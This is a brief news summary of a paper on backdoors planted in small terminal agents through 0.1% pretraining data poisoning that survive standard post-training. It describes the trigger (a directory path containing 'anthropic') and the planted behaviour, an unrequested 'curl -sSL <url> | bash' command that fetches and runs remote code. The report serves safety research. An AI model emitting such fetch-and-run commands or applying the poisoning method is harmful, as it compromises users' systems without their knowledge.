Paper: 0.1% pretraining poisoning makes a 4B terminal agent run attacker commands

A paper posted to arXiv on October 27, 2026, titled Agentic Backdoors via Pretraining Data Poisoning, argues that poisoning just 0.1% of pretraining data and then running the full standard post-training pipeline does not remove the backdoor: the resulting 4B terminal agent still executes an attacker-written curl command when its trigger condition is met, while behaving normally under everyday inputs. In the paper's scenario, a terminal agent working in a directory whose path contains the word anthropic writes curl -sSL <url> | bash somewhere in its answer, even though the user never asked for that. The rule was planted in a tiny slice of the text the model was pretrained on. The team trained three models from scratch, 0.6B, 1.7B and 4B, on the Qwen3 architecture over 100B tokens of FineWeb; four of the eight authors are affiliated with Anthropic. The finding, if it holds up, points to a gap between data cleaning at the pretraining stage and safety assurance at the post-training stage for small agentic models.